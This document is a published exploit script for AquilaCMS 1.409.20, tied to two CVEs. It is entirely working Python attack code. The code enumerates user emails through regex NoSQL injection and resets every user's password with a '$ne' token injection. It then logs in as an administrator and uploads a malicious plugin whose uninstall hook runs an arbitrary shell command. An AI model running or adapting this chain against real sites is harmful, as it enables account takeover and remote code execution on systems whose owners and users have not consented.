AquilaCMS 1.409.20 – Remote Command Execution (RCE)
# Exploit Title: AquilaCMS 1.409.20 - Remote Command Execution (RCE) # Date: 2024-10-25 # Exploit Author: Eui Chul Chung # Vendor Homepage: https://www.aquila-cms.com/ # Software Link: https://github.com/AquilaCMS/AquilaCMS # Version: v1.409.20 # CVE: CVE-2024-48572, CVE-2024-48573 import io import json import uuid import string import zipfile import argparse import requests import textwrap def unescape_special_characters(email): return ( email.replace("[$]", "$") .replace("[*]", "*") .replace("[+]", "+") .replace("[-]", "-") .replace("[.]", ".") .replace("[?]", "?") .replace(r"[\^]", "^") .replace("[|]", "|") ) def get_user_emails(): valid_characters = list( string.ascii_lowercase + string.digits + "!#%&'/=@_`{}~" ) + ["[$]", "[*]", "[+]", "[-]", "[.]", "[?]", r"[\^]", "[|]"] emails_found = [] next_emails = ["^"] while next_emails: prev_emails = next_emails next_emails = [] for email in prev_emails: found = False for ch in valid_characters: data = {"email": f"{email + ch}.*"} res = requests.put(f"{args.url}/api/v2/user", json=data) if json.loads(res.text)["code"] == "UserAlreadyExist": next_emails.append(email + ch) found = True if not found: emails_found.append(email[1:]) print(f"[+] {unescape_special_characters(email[1:])}") return emails_found def reset_password(email): data = {"email": email} requests.post(f"{args.url}/api/v2/user/resetpassword", json=data) data = {"token": {"$ne": None}, "password": args.password} requests.post(f"{args.url}/api/v2/user/resetpassword", json=data) print(f"[+] {unescape_special_characters(email)} : {args.password}") def get_admin_auth_token(emails): for email in emails: data = {"username": email, "password": args.password} res = requests.post(f"{args.url}/api/v2/auth/login/admin", json=data) if res.status_code == 200: print(f"[+] Administrator account : {unescape_special_characters(email)}") return json.loads(res.text)["data"] return None def create_plugin(plugin_name): payload = textwrap.dedent( f""" const {{ exec }} = require("child_process"); /** * This function is called when the plugin is desactivated or when we delete it */ module.exports = async function (resolve, reject) {{ try {{ exec("{args.command}"); return resolve(); }} catch (error) {{}} }}; """ ).strip() plugin = io.BytesIO() with zipfile.ZipFile(plugin, "a", zipfile.ZIP_DEFLATED, False) as zip_file: zip_file.writestr( f"{plugin_name}/package.json", io.BytesIO(f'{{ "name": "{plugin_name}" }}'.encode()).getvalue(), ) zip_file.writestr( f"{plugin_name}/info.json", io.BytesIO(b'{ "info": {} }').getvalue() ) zip_file.writestr( f"{plugin_name}/uninit.js", io.BytesIO(payload.encode()).getvalue() ) plugin.seek(0) return plugin def rce(emails): auth_token = get_admin_auth_token(emails) if auth_token is None: print("[-] Administrator account not found") return print("[+] Create malicious plugin") plugin_name = uuid.uuid4().hex plugin = create_plugin(plugin_name) print("[+] Upload plugin") headers = {"Authorization": auth_token} files = {"file": (f"{plugin_name}.zip", plugin, "application/zip")} requests.post(f"{args.url}/api/v2/modules/upload", headers=headers, files=files) print("[+] Find uploaded plugin") headers = {"Authorization": auth_token} data = {"PostBody": {"limit": 0}} res = requests.post(f"{args.url}/api/v2/modules", headers=headers, json=data) plugin_id = None for data in json.loads(res.text)["datas"]: if data["name"] == plugin_name: plugin_id = data["_id"] print(f"[+] Plugin ID : {plugin_id}") break if plugin_id is None: print("[-] Plugin not found") return print("[+] Deactivate plugin") headers = {"Authorization": auth_token} data = {"idModule": plugin_id, "active": False} res = requests.post(f"{args.url}/api/v2/modules/toggle", headers=headers, json=data) if res.status_code == 200: print("[+] Command execution succeeded") else: print("[-] Command execution failed") def main(): print("[*] Retrieve email addresses") emails = get_user_emails() print("\n[*] Reset password") for email in emails: reset_password(email) print("\n[*] Perform remote code execution") rce(emails) if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument( "-u", dest="url", help="Site URL (e.g. www.aquila-cms.com)", type=str, required=True, ) parser.add_argument( "-p", dest="password", help="Password to use for password reset (e.g. HaXX0r3d!)", type=str, default="HaXX0r3d!", ) parser.add_argument( "-c", dest="command", help="Command to execute (e.g. touch /tmp/pwned)", type=str, default="touch /tmp/pwned", ) args = parser.parse_args() main() |